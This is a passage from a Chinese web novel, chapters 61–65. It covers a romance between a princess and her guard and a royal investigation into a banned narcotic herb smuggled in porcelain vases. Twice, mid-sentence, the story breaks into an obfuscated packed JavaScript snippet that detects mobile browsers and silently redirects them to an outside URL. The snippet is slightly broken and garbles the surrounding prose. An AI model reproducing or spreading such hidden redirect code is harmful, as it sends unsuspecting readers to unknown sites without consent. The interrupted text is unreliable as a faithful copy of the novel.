一想到这里,他不禁又起了其他的心思,趁着沈姑娘上楼的功夫,小声同酒楼的老板交代,让他特意上些容易醉人的烈酒来。 严晟也趁机叮嘱沈悠然,让她有什么不对的,只要出个声,他就会出现。 他一定会寸步不离地守在门外,一刻也不会松懈。 沈悠然平静地点了点头,仿佛两个人就真的是护卫和小姐的身份。 严晟心里觉得沉闷,不放心地摸了摸沈悠然的脑袋,也不知道是在安慰沈悠然,还是在安慰自己? 沈悠然也没打断他,把人逼急了也不好。 但这样短暂的亲昵对于严晟来说只是无济于事,看着那扇关上的门,还是让他觉得左胸口空荡荡的,那颗原本应该跳动着的心脏好像跌落了谷底。 但这些沈悠然都不知道。 宴席果然如同袁长远叮嘱的那样心怀鬼胎,沈悠然也不是真的纯良。 她酒量不算差,但为了让袁长远放松警惕,没喝上两杯就开始装醉,推脱着说不喝了,倒是殷勤地给袁长远灌酒。 一会儿是夸他知识渊博,一会儿又说他饮酒的模样别有风姿。 严晟在门外听见屋内隐约传来的欢声笑语,握紧剑柄的手上浮现出了阵阵青筋。 他觉得自己可能是有些饿了,脑袋晕乎乎的,完全控制不住自己的思绪,开始胡思乱想。 尽管他觉得沈悠然不会真的看上袁长远,但心底又总是有一个阴暗的声音在说,万一呢? 他在门外坐立难安,完全没有往日那副冷静自持的模样。 心中既希望能够听到沈悠然的呼救声,又害怕她真的出什么事。 就这么自我折磨着也不知道过了多久,房门终于开了。 沈悠然双颊飘红,走路的步子有些许的虚浮,身上还沾着不少的酒气。 但好在整个人还算是清醒。 而她的身后,是已然趴在桌上不省人事的袁长远。 严晟顾不得其他,直接弯腰勾住沈悠然的双膝,将她打横抱起,快步走回马车上。 他不知道从哪掏出一方锦帕,替沈悠然擦着脸。 “难受吗?”他轻声询问。 被他腰间的佩剑膈得难受,沈悠然在他怀中挣扎着,似乎是想坐起来。 也不知道是不是故意的,双唇凑近了严晟的耳侧。 原是很亲昵的模样,但从她嘴里,却吐出了让严晟呼吸随之一滞的话。 “你别说,这个袁长远,长得不错,人又有见识……” 从早上出门起就压抑到现在的严晟彻底被这句话击垮了。 他控制不住自己,一种名为嫉妒的情绪彻底占领了他的心和脑子。 他低头埋在沈悠然的颈侧,不去看那张还在不断地冒出让他理智全无的话的双唇。 “别提他、别提他……” “皎皎,看我,只看我。” 62. 第 62 章 两个人的性格仿佛一瞬间调转过来。 往日里最是不形于色的严晟此时喉结不停地滚动着,从嘴里断断续续地吐出似是低声哀求一般的话来。 而沈悠然…… 原本略有醉意的沈悠然此时神色清明,哪里还有半点那副装醉的模样。 她指尖抵在严晟的胸口,微微用力就挣脱了严晟的怀抱,翻身坐在旁边放了软垫的椅子上。 声音冷清,没有半点的旖旎,就好像两人是在议论什么公事。 “我和袁公子相谈甚欢,为何不能看他。” “严晟,你又是以什么身份,说出的这番话?” 怀里只剩下了在不断消失的余温,让严晟怅然若失。 面对沈悠然的质问,他只是双唇颤抖着,喉头好似被人用砂纸在摩擦着,干涩地说不出话来。 他是什么身份? 他是沈悠然哥哥的好友,是沈悠然父亲看重的新臣,是…… 他绞尽脑汁地想着和沈悠然亲近的每一个人,试图通过他们来印证自己的身份,来证明自己有资格去这样要求沈悠然。 但他却忽然地一怔,很快意识到在抛开这些外人的情况下,他和沈悠然之间再无联系。 在岁月的洪流里,他们不过只是能够短暂地并肩走过一段路,若是没有那一晚许下的诺言,再回到宣阳城之后,或许他们再无交集。 那日看见沈悠然差点中箭而掉落悬崖时的那种恐惧再次笼罩着严晟,他一时之间觉得自己已经分不清楚,再也见不到沈悠然,和见到沈悠然和别人过得很好,到底哪个更让他觉得害怕。 胸腔里溢出的阵阵酸涩快要将严晟吞没,他觉得喘不过气,想要捏碎那颗胡乱跳动的心来给自己一个痛快。 可他又觉得,好像这样,他才能说一些萦绕在心里很久的话。 脑子里有许多个念头不断地拉扯着,什么抱负,什么仕途,他都不想去在乎了。 不如就这样破罐子破摔,总好过受煎熬。 “可是你看他的时候,我难受。”他低声呢喃着。 两人之间隔着一臂远的距离,严晟不想要这样的疏远,上前一步单膝跪在沈悠然面前,抬头看向她。 觉察到沈悠然没有再躲避,严晟大着胆子,伸手抚上了她的脸侧。 他迫切地需要指尖传来的体温来抚慰他那早已不受控制的心跳。 沈悠然没有推开,借着座位的差异,俯视着眼前的严晟。 此时是天光正盛的午后,阳光透过纱窗,零零碎碎地落在沈悠然的脸侧,照得她周身都像是被笼着一层微光。 像是下凡拯救受苦百姓的神明。 在苦难中挣扎中的凡人跪在神明面前,虔诚地诉说着自己的祈愿。 “皎皎,能不能,只看我。” 沈悠然垂眸,看见严晟眼里的哀求。 “所以那日,你是在吃味吗?你嫉妒谢为安?嫉妒我跟他单独吃饭?” 熟悉的话题再度被提起,沈悠然势必要让他说出自己的心中所想。 嫉妒吗? 严晟闭眼,让他如何能不嫉妒。 这一路上朝夕相处得太久,久到他已经下意识的认为他和沈悠然是同路人,已经忘了她宣阳城里最尊贵的帝姬,忘记了无论是她的家世才貌,还是勇敢聪慧,都足以让所有人倾倒。 严晟在此刻终于明白,看似沈悠然先动的心,实际上最放不开手的只有自己。 “是,我嫉妒。” “不只是谢为安和袁长远,我嫉妒每一个能够看到你的笑的人。” “皎皎,或许我并没有你想的那般光明磊落,我的所有自私阴暗的想法都是因为你。” “你能否愿意,做只爱一人的神明。” 沈悠然听到这话,只觉得鼻尖一酸,咬着唇才嘟囔着出了声。 “可你、可你为什么要那样对我,”沈悠然一直紧绷的情绪终于在这一刻得到宣泄,“我以为你后悔那晚允诺的事了。” 严晟伸手抚摸她的脸侧,泪珠被温热的指腹融化。 “对不起,都是我的错。”他低声呢喃着,“是我……误以为你后悔了。” “那晚你……说了梦话,说不过只是因为我长得好看,不过只是因为,想让顺宁郡主气恼……” 沈悠然后知后觉捂着唇,被他这么一说,她想到自己似乎、好像、也许……是在梦里和沈沁耀武扬威来着。 可是做个梦而已!怎么能算数! 沈悠然有些气恼,“你怎么不早些跟我说!那不过是梦里的玩笑话!” 严晟替她拢好装醉弄乱的发丝,语气竟带着一丝委屈。 “可你也和其他人说过这种话……” 沈悠然心中一梗,她一开始看上的本来就是严晟的外貌,或许是哪日说的时候不小心被他听见了。 “那你也不该不问我!”沈悠然理不直气壮,“你这是不信任我。” “严晟,如果以后你再这样只凭自己的想法就认定我会如何不会如何,那我真的会很生气。” 她脸上挂着泪,鼻尖仍旧有些泛红,挥舞着拳头在严晟面前晃了晃。 严晟没忍住,低头亲上她的唇,低声说了句好。 * 在沈悠然去探查袁家靠山的时候,沈煦也没闲着,和蔺朝暮一道乔装一番,去探查起了城郊的百姓们。 锦州城来往商贾众多,连带着城中的房价也不便宜,能住在城中的哪怕不是大富大贵,也是有些家底的。 想要探查民情,既要走访城内,自然也不应该忽略城外那些普通的百姓们。 但没想到这么走一趟,竟然沈煦有了惊人的发现。 他匆匆赶回客栈,打算和严晟商议此时。 远远地就瞧见了客栈门口停着妹妹的马车。 站在马车边沿的沈悠然冲着严晟扬了扬眉,没理会他试图抱她下马车的功夫,只是撑着一只手就跳了下去。 完了还转过头去摇头晃脑地示威。 严晟失笑,认命般地回到马车上替她拿好被落下的帷帽,一转身就撞见了脸色铁青的沈煦。 二人心里藏着事,甫一瞧见沈煦神情不对,还以为两人的关系被他发现了。 “哥哥……” “阿煦……” 沈煦微微一愣,他已经很多年没有听到严晟这般叫过他了。 懂事之后,严晟便和严太傅一样,总是把尊卑礼法挂在嘴边,一口一个地叫着殿下。 哪怕沈煦不止一次说过,以二人的关系,私下不用那般拘礼,严晟也总是以太子的尊贵不可丢,坚持自己的叫法。 时间久了,沈煦也没再管了,反正二人的关系又不会因为一个称呼疏远。 此时骤然听见儿时的称呼,沈煦不知道为什么,第一反应是怀疑严晟是否做了什么对不起他的事。 但既然他没有第一时间开口,那便不是紧急的事,还是自己的发现最重要。 沈煦将二人叫到房中,警惕地在房门口观望了一番,然后关上了房门。 沈悠然趁此机会打量起了蔺朝暮的脸色,发现平日里和蔼的嫂嫂此时竟也是一副紧绷状态。 嫂嫂已然知道了自己的心事,如果是自己和严晟的事被兄嫂知道了,定然不是这个反应。 一定是比这还重要的事。 沈悠然收起了所有的小心思,不由得挺直了身子看向沈煦。 只见他神情严肃地,从荷包里掏出一朵红白相间的花,上面有不少的踩踏痕迹,看起来已经没了什么生气。 “花?”沈悠然接过那朵花,放在掌心里来回琢磨着,“好端端的,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938098|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摘了一朵花?” 倒是严晟,在看见花朵的那一瞬,整个人随之一震。 “这是……醉骨草?” 哪怕不知道醉骨草是什么东西,但看其余三人的神情,沈悠然也知道不对劲,是很大的不对劲。 她下意识地就将手中的花扔在桌上,不停地磋磨着指尖,怕被沾上什么不好的东西。 严晟拉过她的手,用手背试了试茶壶的温度,然后才单手拎起倒在沈悠然掌心替她清洗。 一边还在解释着。 “这严格说来,并不能叫做醉骨草,而是醉骨草长出花苞之后开的花,因为红白相间,风一吹的时候,像是纱帘飘浮,也被叫做赤雪纱。” “而醉骨草是一种能够麻痹神智的草药,醉骨醉骨,好似骨头喝醉了一样,觉察不到疼痛。一开始人们多用于医治伤口的时候,后面发现这种草药的麻痹效果太强大,长期使用会损害神智,并且会让人对它产生依赖,百年之前就已经被下令销毁了。” “醉骨草只能在特殊的土质里生长,而这种土,我们今日也见过。” 沈悠然顺着他的话立马反应过来,“高岭土?” 她联想到今日袁长远所说,锦州之所以生产瓷器,就是因为有一种特别适合用于烧制的高岭土。 “所以,有人悄悄借着锦州的土,在私下种植被下了禁令的醉骨草?” 沈煦冷峻地点了点头,“我今日同朝暮去郊外微服私访,在一块梯田的角落里发现了这株赤雪纱,旁边种植的是普通的作物。想必这是当初收割时的漏网之鱼,一直没被人发现,一直生长到了开花。” 虽然醉骨草弊大于利,但赤雪纱却没有那些麻痹的药效,只剩下花枝还算好看,若是发现了一片赤雪纱倒不用这么担心,兴许是有人不认识,图好看种着玩。 但就仅仅是这么一株…… 醉骨草生长能力强,通常都是几株伴随着出现,而他们只发现了这么一株,定是其他的都已经被人收割掉了。 而且是特意作为醉骨草来收割的。 沈煦不敢想,这种植醉骨草的人,到底是看中了它的药效,还是为了其他的什么原因…… 而这些被秘密收割的醉骨草,又去了什么地方…… 城郊百姓众多,为了不打草惊蛇,沈煦没有当即去寻人,只让人先去查一下那块地是属于谁的,再等着夜色去将人绑回来好好审问一番。 而沈悠然也说起了自己这边的发现。 她接近袁长远虽也有为了刺激严晟的打算,但更多的还是为了打探他背后的人。 酒桌上她不断地示弱,终于是灌醉了袁长远,从他的口中套出了消息。 工坊的那间废弃杂室里面藏着袁记瓷器的账本,里面记载着一笔不同寻常的生意。 两边信息一交换,沈煦当即做了决定,派出两拨人马——工坊里的东西要查,醉骨草的事也要查。 也不知道这两件都与高岭土有着微妙联系的事情之间,还有没有其他的共通之处。 是夜,四人皆是睡意全无,都挤在一个房间里等到消息的传来。 率先回来的是去城郊的人马,为首的将领一见到沈煦,就跪下认罪。 “属下无能,让人……自戕了。” 虽然很是可惜,但几人竟都不觉得意外,毕竟这种大罪,想必对方是早已经做好了断后的打算。 只是线索一旦断了,想要再追查就变得棘手起来。 未知的困难只能暂且搁置在旁,众人寄希望于第二个消息。 好在沈煦派出去的人也没辜负他的期望,带回来了确切的消息。 袁记瓷器铺,每隔一段时间,会有一批瓷器送往宣阳城,指定一户人家收货。 而那买家,在场的所有人都认识。 安信侯,庄明阳。 63. 第 63 章 为了给自己的那些妾室子女一个不用看人脸色的后半生,老安信侯临死之前做主给庄家分了家,如今的安信侯府上便只有庄明阳这一支,比起一些大家宅院来说,确实是人员不丰。 沈煦派去的人查过了,庄家采购的多为花瓶一类的瓷器,本就不是常换常新的物件,何故需要固定一段时间就送一次货? 也未曾听说过庄家有讲瓷器作为节礼赠予他人的习惯。 那这么多的瓷器,到底是何用处呢? 打探消息的人还说了,虽然那间杂室确实如袁长远所说的四处都堆放着杂物,但杂物上的灰尘不厚,一般人不会爱洁到连一间废弃不用的房间都要打扫。 而窑炉边上还有堆积的碳灰,也恰好和这一点相悖。 这根本就不是什么废弃的杂室,很有可能,是专门用来烧制那些送给安信侯府的神秘瓷器,那些杂物,不过是为了掩盖事实的幌子。 沈煦手下的那些暗卫是历来只听从皇帝和储君派遣的精卫,个个都接受过良好的训练,对于这些事异常敏锐,都不用沈煦特意叮嘱,就会将看见的不同寻常的事一一记下再禀告。 据他所说,按照记事簿上的规律,下一次给庄家送货,恰好在明日子时。 夜间行路不仅不便,还会增加成本,除非是为了赶时间,正经商队怎么会在夜间赶路。 “明天我们去就去看看这瓷器,到底有什么不对劲!” 管他背后到底藏着什么牛鬼蛇神,再怎么糊弄玄虚,只要亲眼去瞧瞧就好了! 沈煦指尖在红木桌面上不断地敲击着,他心中还有其他的顾虑。 安信侯那边……有太后撑腰,只要他不做出动摇国本的事来,盛兴帝再怎么也不会严惩他。 如果只是购买来路不明的瓷器,目前还看不出什么大问题。 另一边是有人非法种植醉骨草,此事往小了说,那也是该追回销毁的;最怕的就是有人在利用醉骨草密谋什么大事…… 这等禁药若是想要运输出去,过不了城门口的盘查,定然是还藏在城中的。 若是被那些人先发现了事情败露,会不会销毁证据,再无从查证了? 两相比较之下,沈煦还是觉得调查醉骨草的来路和去路更为重要。 “皎皎、阿晟,我觉得庄家的事先放一放,我们当务之急是先去调查醉骨草的案子。” “相关的人自戕,想必会引来幕后之人的警惕。我们应当趁着这个时候埋伏在附近守株待兔,说不定能得到新的线索。” 沈悠然觉得哥哥说的有道理,可给袁家给庄家送货一事,错过了可就要等两个月之后了,沈悠然不愿放弃。 “我们兵分两路吧哥哥……”沈悠然突然起身在沈煦面前站定,“醉骨草要查,袁记瓷器也不能放过,我们……” “不行!” 沈煦衣袖一拂,打断了沈悠然的安排,“不是我们,是我和阿晟!我和阿晟去调查醉骨草,你陪着朝暮在客栈等我们归来。” 沈悠然顿时有些着急,“为什么!” 能为什么?还不是为了她们的安危! 前路未知,沈煦怎敢让他最亲近的妹妹和最爱的人去冒险。 他难得对这个妹妹摆起了脸色,眸色深沉地看着她,一脸的不容拒绝。 “殿下,”严晟突然侧身,站在这对气氛有些不妙的兄妹面前,“昭懿帝姬不是小孩子了。” “太子妃也不是处处都需要殿下护着的太子妃。” 沈悠然顺势拉着严晟的手腕,在一旁搭腔,“是啊哥哥,你难道要让我做一个什么都不懂只知道吃喝玩乐的废物帝姬吗?” 她的语气是前所未有的坚定,沈煦一瞬间有些恍惚,竟不知道眼前人是何时长到现在这般模样的,明明她跌跌撞撞学走路的样子还清晰可见。 那闪烁着坚毅的目光,让沈煦忍不住反思自己是否太过优柔寡断,不配做一个储君。 他只得错开眼看向自己的妻子,“朝暮呢?你是如何想?” 蔺朝暮上前握住沈煦的手,同他十指相扣,语气是一如既往的温柔平静。 “殿下若是想让我在此处等着殿下归来,那我便安心等在此处。” “但我……但我还是想永远陪在殿下身边,同殿下一道携手并进。” 爱人、亲人、好友,沈煦最在乎的几人都在身边。 他们都不惧,沈煦突然觉得,有什么东西正在冲破他的胸口,打破了他一些古板的坚持。 妻子和妹妹都不怕,他又何必束手束脚的呢? 庄家背靠着庄太后又如何?父皇在意的那些养育之恩,早还清了。 “那阿晟和皎皎明晚夜探袁记,朝暮和我一道去城郊蹲守。” “切记切记,不可莽撞,不要受伤。” 沈悠然学着话本里描写的那些江湖侠士的样子,握着拳在沈煦的右肩轻轻一击。 “放心吧,保证平平安安地完成任务归来。” “对了哥哥,”她冲着严晟扬了扬眉,然后又转过头看向沈煦,笑得一脸灿烂,“等闲下来,告诉你一个秘密。” 沈煦好奇,但沈悠然一副事没做完不会多说一个字的神情。 他看向严晟,期盼着好友能给他透露一二。 只是在看见妹妹依旧拽着他袖口不放的时候,隐约察觉到了有一丝不对劲。 * 是夜,沈悠然换了一身低调便利的装扮。 虽然袁记子时才会有动静,但未雨绸缪,严晟和沈悠然还是早早地就在工坊附近蹲守着,想着说不定能得到其他的线索。 好在工坊建在城郊,周围有不少的树木草丛可以藏身,不至于被人发现。 只是夏夜虫鸣多,沈悠然蹲在草丛之间,总觉得有什么东西在身边不断地乱飞。 她觉得有些烦躁,下意识地就捏着严晟的胳膊,和他靠近。 竟觉得这些恼人的蚊子简直是欺软怕硬,怎么靠近严晟了之后,就觉得耳边的嗡鸣声少了许多呢。 不过没了这扰人的动静,沈悠然倒是能更专注地盯着工坊。 离子时还差半个时辰的时候,一群人穿着能掩盖于夜色下的深色长袍,从工坊的后门鬼鬼祟祟地进去了。 还抬着一个上了锁的箱子。 有些昏昏欲睡的沈悠然瞬间惊醒,她本是想着要凑近些看,却发现原本还无人值守的工坊外,每隔五步就有一个黑袍人站岗。 这般大的动静,想要再悄悄靠近简直是痴人说梦。 她只得目不转睛地盯着工坊,生怕错过了什么。 直到双眼开始干涩泛酸,也不敢松懈。 严晟伸手,覆再她的眼眸上,“别太紧张了,他们既然不想让人发现, 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这人怎么……要么不开窍,要么就是这般看似规矩地做出让人面红心赤的事来。 沈悠然纵容自己藏在他怀里,就这样不知道过了多久,工坊里有了新的动静。 一队商队打扮的人陆续从后门出来,推着用麻布遮盖着的东西出来,应该是那些瓷器。 那些黑袍人没有跟上去,而是快速消失在夜色中,像是不想让人知道他们和工坊有过来往。 沈悠然看了眼,箱子还是被带了出来,但是不同于进去时候那人警惕地用身体护卫的姿态,此时的箱子就这么随意地被人拖着。 那里面的东西,一定被转移进了这批瓷器里。 严晟觉得有些不对劲,如果是需要特意藏匿的东西,肯定无法顺利通过城门口护卫的盘查,那这么折腾一通又是为何呢? 看着远去的商队,二人立刻警觉,带着几个暗卫,小心翼翼地跟在身后。 她们不敢靠得太近,生怕被人发现,只得远远地一路跟到了城门口。 锦州重商,来往货物和百姓繁多,每个城门都需要安置大量人手负责盘查。 毕竟像是货物这种东西,来往都需要缴纳关税,那可是实打实的收入。 像是瓷器这一类易碎的东西,不少货商会为了让盘查的守卫动作轻些或多或少地给点银钱孝敬,那都是守卫们捞油水的机会。 是以虽然已经是子时,但城门口的守卫们看见商队靠近,不仅没有半分不耐,甚至还三五吆喝着起来做事了。 严晟原本以为他们这般大费周折了一般,说不定已经打点好了这些守卫让他们睁一只眼闭一只眼放行。 但亲眼见到那些人挨个开箱盘查,严晟就知道他想岔了。 看来,只能趁现在下手,偷一个瓷瓶回来再说。 严晟低声叫住一旁的暗卫小头领,让他带着人去硬闯出城,也不必和那些人真刀真枪地起冲突,被他们抓紧大牢也无所谓,事后一定会去救他们。 而严晟就冲着这阵慌乱的功夫,从一个还未来得及关上的箱子里,顺走了一个赃物。 拿在手上的时候,严晟下意识地掂量着瓷器的重量,心中的疑惑更深了。 怎么会……和空瓶没什么区别? 64. 第 64 章 瓷瓶一眼就能望到底,不像是严晟和沈悠然猜测的那样,里面藏着不能正大光明运出去的东西。 可是,如果只是普通的瓷瓶,为什么需要这么大费周折地又是戒备森严又是选在大晚上悄悄运输呢? “难道是我们运气不好,顺到的不过是一个普通瓷瓶?”沈悠然提出一个设想。 不过她很快就反驳了自己的猜测,“应该不是。” “我看那些守卫盘查的时候尽职尽责,一点也不像是被收买了要睁一只眼闭一只眼的样子,每一个箱子都是打开看了又看,如果我是袁家,我不会冒险去赌他们不会发现混在其中的秘密。” 赌别人能不能发现,这无异于是将自己的脑袋别在他人的裤腰上,太过冒险。 所以,这瓷瓶肯定有问题,只是还没能发现。 瓷瓶是长颈瓶,别说是大人了,怕是刚出生不足一天的婴儿手臂都无法伸进去。 沈悠然折了根树枝放进瓷瓶里戳弄着,依旧是什么都没发现。 无论是瓶底的触感,还是树枝上的颜色或者气味,都看不出异常。 到底是哪里不对劲呢…… 沈悠然敲了敲自己的脑袋,总觉得好像有哪个地方不对劲,但又说不出来是哪里不对劲。 严晟看她快要同自己置起气来,一把握住她的手腕,让她停止对自己脑袋的伤害。 “不要着急,慢慢想。” “我让人跟着他们,以防是在半路做的手脚。我们们先回客栈,说不定殿下那边还会有其他的发现。” 沈悠然抬头看向他,有些不敢相信,“你是说……和醉骨草有关?” “我总觉得,事情不会那么简单。锦州盛产高岭土,而醉骨草只能在高岭土中生长;高岭土是烧瓷的重要材料,袁家恰好又是做的瓷器生意,他们在外收购高岭土的时候,会不会见过醉骨草……” “醉骨草过不了守城军的查验,而袁家刚好又会定期运输一批数量多到正常人家用不完的瓷器……” 沈悠然忍不住惊呼出声,“你是说,醉骨草背后的,是庄家?” 醉骨草这种害国害民的东西,一旦沾上就是抄家大罪,但庄家背后是庄太后,事关重大,严晟不敢妄言。 “不过是一些猜测,一切都没有证据。”他还是谨言慎行,“也许庄家对此事并不知情,不过是袁家打着庄家的旗号给自己谋私利;又或者那群穿黑袍的人,既不属于袁家,也不属于庄家,只是恰好得知有这个机会,借此便利行事。” 但其实两人都知道,天底下没有这巧合的事情。 庄家……到底在筹谋什么呢? * 回客栈的一路上,沈悠然都小心翼翼地将瓷瓶抱在怀中,生怕摔了碰了,就失去了这重要的线索。 隔壁的房间漆黑一片,沈煦还未归来。 沈悠然心里藏着事,躺在床上辗转反侧地无法入眠,脑子里来来回回地闪过很多人。 一会儿是庄家,一会儿又想到庄太后。 其实她巴不得庄家能够倒台,本来就厌恶庄家那些上不得台面的主意,再加上又不是什么正经亲戚,只觉得能甩掉这附骨之疽便是最好。 但她又想到常夫人,想到那个寡言少语处处谨慎的女人,又觉得若是庄家出了事,她该怎么办。 还想到父皇,想到若是庄家出事,父皇又要去顾及太后的面子,即便是再上火也不好发泄。 上一次有人递折子状告庄家有个子侄强抢民女并将其误伤致死,庄太后让人来传话说是想听戏,让盛兴帝从宫外给她请个戏班子来唱二十四孝戏。 想到那会儿父皇因为无奈导致上火到肿了半张脸,沈悠然又不希望这事跟庄家有关,他们最好是老老实实地当个闲散侯,富贵也少不了的。 但翻一个身之后,沈悠然又忍不住腹诽着父皇还是太软弱了,若她是皇帝,打不了就是先斩后奏,国之根本是民心,又不是庄家。 然后又开始担心哥哥嫂嫂,怕他们遇见什么意外。 就这样在忧虑之中,沈悠然迷迷糊糊地也不知道自己睡着了没,又或者其实这些人都是她在做的一场梦。 醒来的时候,已经快到午时了。 听见屋里有了动静,在门外已经守了好一会儿的严晟立马敲门。 沈悠然猜到是严晟,稍微整理了一下自己的容貌,开口让他进。 只是这一晚上睡得并不好,沈悠然一开口,嗓子不免有些沙哑,发出来的声音粗声粗气的,连自己都被吓了一跳。 严晟倒了一杯茶水送到床榻边,神色有些担忧,“没睡好?” 沈悠然点点头,发现脖颈也有些僵硬,下意识地就伸手去抚摸后颈。 严晟将茶盏递给她,另一只手顺势抚上她的脖子,轻轻揉捏着。 “害怕吗?”他问。 杯中的水早就凉透了,才能让沈悠然如同被烈火灼烧过的喉咙得到清凉的抚慰。 咕咚咕咚灌下一整杯之后,她才觉得活了过来。 “不害怕,就是有些担心哥哥嫂嫂。” 来找沈悠然之前,严晟已经去隔壁房间看过了,没有人回来过的痕迹。 看来他们有所发现。 但也只能自我安慰是有发现,不敢往细了想。 沈悠然有些懊恼,“哥哥伤才好,不应该让哥哥去冒险的。怎么想都觉得那边更凶险,那些人可是走私禁药,肯定不是什么善茬……” 她颇为烦躁地揉弄着自己的头发,严晟一只手握住她作乱的手,以手代梳,指尖插入发丝的缝隙里,替她整理好乱糟糟的发型。 “殿下肯定也是这般想的,才舍不得让你去。” “放心吧,殿下既然带了太子妃同去,肯定是有周全的打算。” “厨房里有吃的,你先洗漱,我下去让人热一热端上来。等会儿我出去打探打探消息。” 也只能这样了,担心只能是无济于事的,不如做二手准备。 原本就不安的心,在起身看见桌上那让人毫无头绪的长颈瓶时,沈悠然觉得太阳穴两侧一抽一抽地疼。 真想快点揭开这背后的阴谋,免得大家都担惊受怕。 * 沈煦踏着夕阳的余晖回到了客栈。 他的步伐匆匆,脸上尽显怒气,身后还跟着一个穿着官袍的中年男人。 男人一手扶着腰,但始终维持着身子半躬,跟在沈煦的身后亦步亦趋,神色很是焦虑。 “殿下,”他压低了声音,也是知晓客栈人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947598|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多嘴杂,不敢大声嚷嚷,“息怒啊,下官是真的不知情。” 沈悠然闻声而出,沈煦脚步一顿,想了想,踏进了沈悠然房中。 他是特意送蔺朝暮回来的,妻子和妹妹待在一起,好有个照应。 “赵大人,本宫说过了,你知不知情本宫自会查明。你现在的当务之急,是看管好牢里的那几个罪犯,若是有什么差池,本宫不得不猜测,你是否有参与其中,趁机杀人灭口……” 那位赵大人吓得一哆嗦,连忙跪在地上求饶,被吓唬地恨不得回牢里自己亲自看守,但又怕这么一走,就被误认为此时和他有关。 两项考量之下,他又哆嗦着求饶,“殿下,下官真的毫不知情!实不相瞒,下官、下官也不是什么好官,根本就不在乎百姓们的庄稼怎么样,自然就不知道居然有人敢在眼皮子底下种植禁药。” “至于收受贿赂,那更是子虚乌有的事啊!锦州重商,来来往往货物贸易那么多,赋税可是实打实的银子,哪怕是下官不说,下面的人也会撸起袖子努力干的,怎么会去放任禁药出城呢……” 赵立在心里打了个哆嗦,至于收袁家的那些钱,不过是袁家人赶着交货时常大晚上的走商队,支点银子给守城的兄弟们让他们别抱着怒气手上动作能够轻省些的辛苦费罢了。 这应该同此时没有关系,那袁家世世代代都在锦州城,祖辈都是老实本分的,应该不会掺和进这种事里。 一想到袁家老实,赵立顿时就恨得牙痒痒。 也不知道是哪个杀千刀的,要惹事不知道去别的地方惹,偏生要在自己的辖下,又偏生要被巡查至此的太子发现…… 要是知道是谁,他定要、他定要将人捆起来,用鞭子沾满辣椒水狠狠抽打。 沈煦不想听他的委屈陈词,他只看证据。 昨夜蹲守了一整夜,直到今晨天色微亮的时候,才发现了有人潜入那户农家。 沈煦一路跟着,发现了一座上了锁的宅院,那人翻墙进去在里面逗留了一刻钟的样子,又翻墙出来准备跑,被沈煦和暗卫逮了个正着。 一番审讯下来,那人咬死了只说自己不过是看那里死了人,起了歹心进去偷了点银钱罢了。 可问他将偷来的东西藏在哪了,又支支吾吾的什么都说不出。 若不是住在客栈无法看守,又担心他寻死,沈煦也不会去找锦州知州报官。 自己治下出了这种大事竟毫无知觉,不是个贪官就是蠢货。 但他还要调用人手去严查那座宅院,两相比较之下,沈煦才给知州赵立递了牌子。 而赵立听完始末,也是惊出一身冷汗,死活要追着沈煦求饶解释。 沈煦本就烦闷,听见他这样絮絮叨叨地说不到实处,一心只想着为自己求饶而不去抽调人手,心中更是怒意四起。 他一掌拍在桌面,试图震慑住这个还在一门心思考虑自己的昏官。 心中藏着怒气,这一下可是用了十足的力气,震得桌上的茶壶茶盏都腾了空。 沈悠然看向桌上的长颈瓶,昨日归来精疲力尽,或许一时不察,竟被放在了桌沿边。 她心中顿时一紧,整个人往前倾着想要抱住这得来不易的证据。 但一切好像都有些晚了。 65. 第 65 章 清脆的声响让房内每个人都为之一振。 沈悠然的手还悬在半空之中,看着昨夜蹲守了大半夜才顺来的那个长颈瓶酒这么化作了一对碎片躺在地上,只觉得一口气堵在胸腔里,上不去也下不来。 也不是怪谁,就是觉得憋得难受,虽然这个瓶子还没来得及提供任何线索,但沈悠然总觉得留着至少会发现什么的。 她气馁地在心底埋怨着,还说是锦州最好的瓷器坊呢,出来的什么破瓷器,这么容易就摔碎了!简直就是粗制滥造! 沈悠然越想越气,视线落在地上的时候,更觉得这白有些刺眼。 等等! 瓷器掉落地面,碎成了不过十来块碎片,怎么会有这么多的白色粉末? 哥哥本领再大,也不能直接把这瓷片震成粉末吧? 带着一肚子的疑惑,沈悠然蹲下身子查看,下意识地就想要用手去沾点粉末凑近了看。 “皎皎,别动!” “皎皎,小心别划了手!” “皎皎!” 三道声音同时响起,沈悠然越过一脸担忧的哥嫂,看见了从房门外匆匆踏步而来的严晟。 他出去寻沈煦二人了,为了怕错过,留沈悠然在客栈里等候。 一路上都没找到什么线索,天色又开始变暗,他怕沈悠然一个人害怕,便匆忙赶回来。 走到巷子口的时候,听到有人在说,知州大人来盘查客栈了,怕惹上什么事,连忙走开。 直觉告诉他肯定是和沈煦有关的,又或者担心沈悠然单独一个人遇见什么不测,三步并作两步迅速回到了客栈。 一到房间门口,他就看见沈悠然蹲在地上的身影,耳边尽是沈煦和蔺朝暮的呼叫声。 他下意识的就以为沈悠然出事了,连忙推开挡在门口的赵立。 在看见沈悠然不过是蹲在地上打量一堆碎瓷片的时候,不由得松了口气。 “划伤了手?”他看沈悠然神色不对,拉过她的手仔细检查。 沈煦在旁边看着,心里疑窦丛生。 这两人,是不是有些太亲密了? 